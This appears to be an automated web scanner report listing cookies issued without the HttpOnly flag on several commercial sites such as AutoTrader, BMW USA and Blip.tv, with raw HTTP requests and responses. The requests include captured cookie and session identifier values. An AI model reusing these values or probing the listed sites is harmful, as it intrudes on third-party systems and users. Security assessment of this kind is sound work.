HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 16:04:27 GMT Server: Apache Set-Cookie: v1st=FD01CADD9CE8D858; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.autotrader.com Set-Cookie: ATC_ID=173.193.214.243.1295885067871732; path=/; expires=Sat, 03-Jan-15 16:04:27 GMT; domain=.autotrader.com Last-Modified: Tue, 02 Nov 2010 16:44:27 GMT Accept-Ranges: bytes Content-Length: 5848 Vary: Accept-Encoding P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Connection: close Content-Type: text/html Set-Cookie: BIGipServerwww=2525552650.61475.0000; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html lang="en-us"> <head> <title>Page Not Found - AutoTrader.com</title>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /research/used-cars/index.jsp/x22 HTTP/1.1 Host: www.autotrader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: v1st=BF3F7217996B123A; ATC_ID=173.193.214.243.1295884767492259; BIGipServerwww=1317593098.61475.0000;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 23:55:11 GMT Server: Apache Last-Modified: Tue, 02 Nov 2010 16:44:27 GMT Accept-Ranges: bytes Content-Length: 5848 Vary: Accept-Encoding P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Connection: close Content-Type: text/html Set-Cookie: BIGipServerAT-Production_hhtp=2033346058.61475.0000; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html lang="en-us"> <head> <title>Page Not Found - AutoTrader.com</title>
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /research/used-cars/index.jsp/x22 HTTP/1.1 Host: www.autotrader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 16:04:24 GMT Server: Apache Set-Cookie: v1st=F1B5B0190A0903E5; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.autotrader.com Set-Cookie: ATC_ID=173.193.214.243.1295885064281746; path=/; expires=Sat, 03-Jan-15 16:04:24 GMT; domain=.autotrader.com Last-Modified: Tue, 02 Nov 2010 16:44:27 GMT Accept-Ranges: bytes Content-Length: 5848 Vary: Accept-Encoding P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Connection: close Content-Type: text/html Set-Cookie: BIGipServerwww=1871241226.61475.0000; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html lang="en-us"> <head> <title>Page Not Found - AutoTrader.com</title>
The following cookie was issued by the application and does not have the HttpOnly flag set:
BIGipServerwww=1787355146.61475.0000; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /x22 HTTP/1.1 Host: www.autotrader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Date: Mon, 24 Jan 2011 16:04:23 GMT Server: Apache Location: http://www.autotrader.com/x22/ Vary: Accept-Encoding Content-Length: 238 Connection: close Content-Type: text/html; charset=iso-8859-1 Set-Cookie: BIGipServerwww=1787355146.61475.0000; path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="http://www.autotrader.c ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /x22 HTTP/1.1 Host: www.autotrader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: v1st=BF3F7217996B123A; ATC_ID=173.193.214.243.1295884767492259; BIGipServerwww=1317593098.61475.0000;
Response
HTTP/1.1 301 Moved Permanently Date: Mon, 24 Jan 2011 23:54:50 GMT Server: Apache Location: http://www.autotrader.com/x22/ Vary: Accept-Encoding Content-Length: 238 Connection: close Content-Type: text/html; charset=iso-8859-1 Set-Cookie: BIGipServerAT-Production_hhtp=707945994.61475.0000; path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="http://www.autotrader.c ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /x22/x3e/x3cli HTTP/1.1 Host: www.autotrader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 16:04:21 GMT Server: Apache Set-Cookie: v1st=44290BD80D43DD62; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.autotrader.com Set-Cookie: ATC_ID=173.193.214.243.1295885061096866; path=/; expires=Sat, 03-Jan-15 16:04:21 GMT; domain=.autotrader.com Last-Modified: Tue, 02 Nov 2010 16:44:27 GMT Accept-Ranges: bytes Content-Length: 5848 Vary: Accept-Encoding P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Connection: close Content-Type: text/html Set-Cookie: BIGipServerwww=1351147530.61475.0000; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html lang="en-us"> <head> <title>Page Not Found - AutoTrader.com</title>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /x22/x3e/x3cli HTTP/1.1 Host: www.autotrader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: v1st=BF3F7217996B123A; ATC_ID=173.193.214.243.1295884767492259; BIGipServerwww=1317593098.61475.0000;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 23:54:34 GMT Server: Apache Last-Modified: Tue, 02 Nov 2010 16:44:27 GMT Accept-Ranges: bytes Content-Length: 5848 Vary: Accept-Encoding P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Connection: close Content-Type: text/html Set-Cookie: BIGipServerAT-Production_hhtp=875718154.61475.0000; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html lang="en-us"> <head> <title>Page Not Found - AutoTrader.com</title>
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /find/index.xhtml/x22 HTTP/1.1 Host: www.autotraderclassics.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: Apache Last-Modified: Sat, 15 Jan 2011 12:37:21 GMT P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI" X-UA-Compatible: IE=EmulateIE7 Content-Type: text/html Date: Mon, 24 Jan 2011 16:04:30 GMT Content-Length: 19116 Connection: close Set-Cookie: v1st=AD90949C1AABB6BF; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.autotraderclassics.com Set-Cookie: ATC_ID=216.66.31.240.1295885070163888; path=/; expires=Sat, 03-Jan-15 16:04:30 GMT; domain=.autotraderclassics.com Set-Cookie: BIGipServerwww.autotraderclassics.com=3985170442.14360.0000; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" > <html xmlns="http://www.w3.org/1999/xhtml">
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /x22 HTTP/1.1 Host: www.autotraderclassics.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: Apache Last-Modified: Sat, 15 Jan 2011 12:37:21 GMT P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI" X-UA-Compatible: IE=EmulateIE7 Content-Type: text/html Date: Mon, 24 Jan 2011 16:04:29 GMT Content-Length: 19116 Connection: close Set-Cookie: v1st=38C713FCEE18F8B0; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.autotraderclassics.com Set-Cookie: ATC_ID=216.66.31.238.1295885069167883; path=/; expires=Sat, 03-Jan-15 16:04:29 GMT; domain=.autotraderclassics.com Set-Cookie: BIGipServerwww.autotraderclassics.com=4203274250.14360.0000; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" > <html xmlns="http://www.w3.org/1999/xhtml">
The following cookie was issued by the application and does not have the HttpOnly flag set:
SERVERID=iom-web11; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.barcelonaworldrace.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 302 Found Date: Tue, 25 Jan 2011 14:24:31 GMT Server: Apache Location: http://www.barcelonaworldrace.org/en/index.php Content-Length: 0 Connection: close Content-Type: text/html Set-Cookie: SERVERID=iom-web11; path=/
The following cookie was issued by the application and does not have the HttpOnly flag set:
SERVERID=iom-web10; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/actualite/breves HTTP/1.1 Host: www.barcelonaworldrace.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 301 Moved Permanently Date: Tue, 25 Jan 2011 14:24:24 GMT Server: Apache Location: http://www.barcelonaworldrace.org/en/actualite/breves/ Content-Length: 262 Connection: close Content-Type: text/html; charset=iso-8859-1 Set-Cookie: SERVERID=iom-web10; path=/ Cache-control: private
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="http://www.barcelonawor ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
SERVERID=iom-web11; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/actualite/breves/detail/an-explanation-from-jp-estrella-damm-ready-to-pounce-0-8072 HTTP/1.1 Host: www.barcelonaworldrace.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 25 Jan 2011 14:24:23 GMT Server: Apache Connection: close Content-Type: text/html Set-Cookie: SERVERID=iom-web11; path=/ Cache-control: private
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
<!-- inclusion de la gestion des channel ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /about/ HTTP/1.1 Host: www.blip.tv Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /blogs/ HTTP/1.1 Host: www.blip.tv Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: Apache/2.2.3 (CentOS) X-otter-skin: blipnew Vary: Cookie Set-Cookie: tab_state=prefs; domain=.blip.tv; path=/; expires=Tue, 08-Feb-2011 13:13:02 GMT Content-Type: text/html; charset=utf-8 Content-Length: 10640 Date: Tue, 25 Jan 2011 13:13:02 GMT X-Varnish: 496204649 Age: 0 Via: 1.1 varnish Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /prefs/ HTTP/1.1 Host: www.blip.tv Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /Standard/Content/Vehicles/2011/M/MExplore.aspx HTTP/1.1 Host: www.bmwusa.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="%2fError_Cookieless.aspx%3fDesiredUrl%3d%2fStandard%2fContent%2fVehicles%2f2011%2fM%2fMExplore.aspx%26Scheme%3dhttp"> ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /ScriptResource.axd?d=UhmMf4pGAIGE3YTDimr5qpIoTBHmwhxAYkpY6FXQZsjsK8I-ZqVjCRQO3df8XUyuJtngRgB9HKWNLzF6c_n7ziqREw1V-qezTqpq1_AxFS77UoW0uG3VZ2TJGKX1-La1VBhilu45gcGoEftXkrZcay97fFto7jDpifD5PYt_8VVwD_IM9POySKnOwhgQCQ-GwEjTWvZM7u62v46uYW3ihZtKSsU1&t=3a010726 HTTP/1.1 Host: www.bmwusa.com Connection: keep-alive Referer: https://www.bmwusa.com/Secured/Content/Forms/Login.aspx?enc=mwSSA92UKNV8IOQQODvBfnVrf6qU9VeS34q4mJ4c7s46MR9nJlvxG5Subq1kZIKK Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: LK9H33C=LlItWTMXQYRZ6JknOkmjsTsNIlsgCk0BLOhnWkMKF/53WxmfXzUi2xu4wvcNH4wu; VisitorID=89326a93-bb02-4e80-bf57-0d5590e90613; s_pers=%20s_nr%3D1295637746935%7C1298229746935%3B; ASP.NET_SessionId=hwiose4551oubw55xmxold55; WK9733P=DeMPlP7IXaauBIWHUIFjXmeYE0QYEGcbzWFVkx5+pXHnkTqulbOVw2mYu/8OzEEB; NSC_CNX_21529_64.29.204.16=4f52b4193661; mbox=PC#1295637745501-300919.17#1297178364|check#true#1295968824|session#1295968763602-421268#1295970624
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /Secured/Content/Forms/Login.aspx?ReturnUrl=%2fSecured%2fNaN&Scheme=http HTTP/1.1 Host: www.bmwusa.com Connection: keep-alive Referer: https://www.bmwusa.com/Secured/FrameCheck.aspx?enc=mNb/G1por6O4zQx3pFlIRgoOd9yR4xuGKlgEfPPlic47gKOkrYw3RkRXQnOaIp43 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: LK9H33C=LlItWTMXQYRZ6JknOkmjsTsNIlsgCk0BLOhnWkMKF/53WxmfXzUi2xu4wvcNH4wu; VisitorID=89326a93-bb02-4e80-bf57-0d5590e90613; s_pers=%20s_nr%3D1295637746935%7C1298229746935%3B; mbox=PC#1295637745501-300919.17#1296864738|check#true#1295655198|session#1295655081531-668160#1295656998; ASP.NET_SessionId=hwiose4551oubw55xmxold55; WK9733P=DeMPlP7IXaauBIWHUIFjXmeYE0QYEGcbzWFVkx5+pXHnkTqulbOVw2mYu/8OzEEB; NSC_CNX_21529_64.29.204.16=4f52b4193661
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="%2fSecured%2fContent%2fForms%2fLogin.aspx%3fenc%3dmwSSA92UKNV8IOQQODvBfnVrf6qU9VeS34q4mJ4c7s46MR9nJlvxG5Subq1kZIKK">h ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /Secured/FrameCheck.aspx?enc=mNb/G1por6O4zQx3pFlIRkCmPwLZUcLGZgDQHB8EPuhdoa0MPkaYA89q2t3SYnOPa5KKaEJetjbTyfZfMtY2xdvcsAnZc8dTtALIF8A6taA21A83dHV0yvREQ9ZYi5DIqu7lJZdzAn3pLdhHpLkWqw== HTTP/1.1 Host: www.bmwusa.com Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: LK9H33C=LlItWTMXQYRZ6JknOkmjsTsNIlsgCk0BLOhnWkMKF/53WxmfXzUi2xu4wvcNH4wu; VisitorID=89326a93-bb02-4e80-bf57-0d5590e90613; s_pers=%20s_nr%3D1295637746935%7C1298229746935%3B; mbox=PC#1295637745501-300919.17#1296864738|check#true#1295655198|session#1295655081531-668160#1295656998
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /Secured/NaN HTTP/1.1 Host: www.bmwusa.com Connection: keep-alive Referer: https://www.bmwusa.com/Secured/FrameCheck.aspx?enc=mNb/G1por6O4zQx3pFlIRkCmPwLZUcLGZgDQHB8EPuhdoa0MPkaYA89q2t3SYnOPa5KKaEJetjbTyfZfMtY2xdvcsAnZc8dTtALIF8A6taA21A83dHV0yvREQ9ZYi5DIqu7lJZdzAn3pLdhHpLkWqw== Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: LK9H33C=LlItWTMXQYRZ6JknOkmjsTsNIlsgCk0BLOhnWkMKF/53WxmfXzUi2xu4wvcNH4wu; VisitorID=89326a93-bb02-4e80-bf57-0d5590e90613; s_pers=%20s_nr%3D1295637746935%7C1298229746935%3B; mbox=PC#1295637745501-300919.17#1296864738|check#true#1295655198|session#1295655081531-668160#1295656998; ASP.NET_SessionId=hwiose4551oubw55xmxold55; NSC_CNX_21529_64.29.204.16=4f52b4193661
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="https://www.bmwusa.com/Secured/FrameCheck.aspx?enc=mNb/G1por6O4zQx3pFlIRgoOd9yR4xuGKlgEfPPlic47gKOkrYw3RkRXQnOaIp43"> ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /WebResource.axd?d=8vmmyJUcpAfwePI_vHjEZZzhNQ4xywI20eg8QPHXCFBLoYaZ-iotmrKPGOJcOPcKed2_9fi23ApLsbhQEjklRH9c1X-oNneXtDyJTnRsg1VCv4iu3joe2IkWTU-4dZUwd23uy7A-b_tZvv0ORXw7vC3BngAxxyWWKj2hWy2J5tMQ-eZXm9EI_5o6ZyuhxuFVQyt7rw2&t=634188751465741492 HTTP/1.1 Host: www.bmwusa.com Connection: keep-alive Referer: https://www.bmwusa.com/Secured/Content/Forms/Login.aspx?enc=mwSSA92UKNV8IOQQODvBfnVrf6qU9VeS34q4mJ4c7s46MR9nJlvxG5Subq1kZIKK Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: LK9H33C=LlItWTMXQYRZ6JknOkmjsTsNIlsgCk0BLOhnWkMKF/53WxmfXzUi2xu4wvcNH4wu; VisitorID=89326a93-bb02-4e80-bf57-0d5590e90613; s_pers=%20s_nr%3D1295637746935%7C1298229746935%3B; ASP.NET_SessionId=hwiose4551oubw55xmxold55; WK9733P=DeMPlP7IXaauBIWHUIFjXmeYE0QYEGcbzWFVkx5+pXHnkTqulbOVw2mYu/8OzEEB; NSC_CNX_21529_64.29.204.16=4f52b4193661; mbox=PC#1295637745501-300919.17#1297178364|check#true#1295968824|session#1295968763602-421268#1295970624
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /jsenvconst.ashx HTTP/1.1 Host: www.bmwusa.com Connection: keep-alive Referer: https://www.bmwusa.com/Secured/Content/Forms/Login.aspx?enc=mwSSA92UKNV8IOQQODvBfnVrf6qU9VeS34q4mJ4c7s46MR9nJlvxG5Subq1kZIKK Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: LK9H33C=LlItWTMXQYRZ6JknOkmjsTsNIlsgCk0BLOhnWkMKF/53WxmfXzUi2xu4wvcNH4wu; VisitorID=89326a93-bb02-4e80-bf57-0d5590e90613; s_pers=%20s_nr%3D1295637746935%7C1298229746935%3B; mbox=PC#1295637745501-300919.17#1296864738|check#true#1295655198|session#1295655081531-668160#1295656998; ASP.NET_SessionId=hwiose4551oubw55xmxold55; WK9733P=DeMPlP7IXaauBIWHUIFjXmeYE0QYEGcbzWFVkx5+pXHnkTqulbOVw2mYu/8OzEEB; NSC_CNX_21529_64.29.204.16=4f52b4193661
var WEBSITE_URL = "www.bmwusa.com"; var WEB_SERVICES_URL = "ws.bmwusa.com"; var WCF_SERVICES_URL = "ws.bmwusa.com"; var RESOURCE_SERVER_URL = "cache.bmwusa.com"; var MOBILE_URL = "m.bmwusa.com";
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.boattrader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 23:45:55 GMT X-Powered-By: PHP/5.2.13 Set-Cookie: location=%5B%7B%22ZIP_CODE%22%3A%2275207%22%2C%22STATE_NAME%22%3A%22Texas%22%2C%22CITY_NAME%22%3A%22Dallas%22%7D%5D; expires=Tue, 24-Jan-2012 23:45:55 GMT Connection: close Content-Type: text/html Set-Cookie: TSef43b4=2ffdd2520e75126ede44933ba8ef34039e5be810eff911074d3e1425759e864aee104e3b; Path=/ Content-Length: 126523
<!-- dstolwebvm01-php5a --><!DOCTYPE html> <html> <head> <title>Boats for Sale - Buy Boats, Sell Boats, Boating Resources, Boat Dealers, Parts and Accessories - Boat Trader </title> <meta http-equiv ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /news/news_post.html?url={u}&title={t} HTTP/1.1 Host: www.care2.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 13:14:34 GMT Server: Apache/2.2.8 Set-Cookie: c2_user_state=38cf88fe52bbea1af5f9ce118bb02342%3A0; path=/; domain=.care2.com Set-Cookie: c2_user_state=e009b77c4218ecc15ebbe840c71236b3%3A0; path=/; domain=.care2.com Location: http://www.care2.com/news/compose?sharehint=news&share[share_type]news&bookmarklet=Y&share[title]=%7Bt%7D&share[link_url]=%7Bu%7D&share[content]= Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /x22 HTTP/1.1 Host: www.cars.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="http://www.cars.com/?af ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.cloudaccess.net Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /about-us.html HTTP/1.1 Host: www.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; 5a3e568434cf5e68c5f222754be27ef3=tbtnb9eq9lvbh56i28r6tshfq3; __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.1.10.1295877160; gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /billing-policy.html HTTP/1.1 Host: www.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; 5a3e568434cf5e68c5f222754be27ef3=tbtnb9eq9lvbh56i28r6tshfq3; __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.1.10.1295877160; gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted;
Response
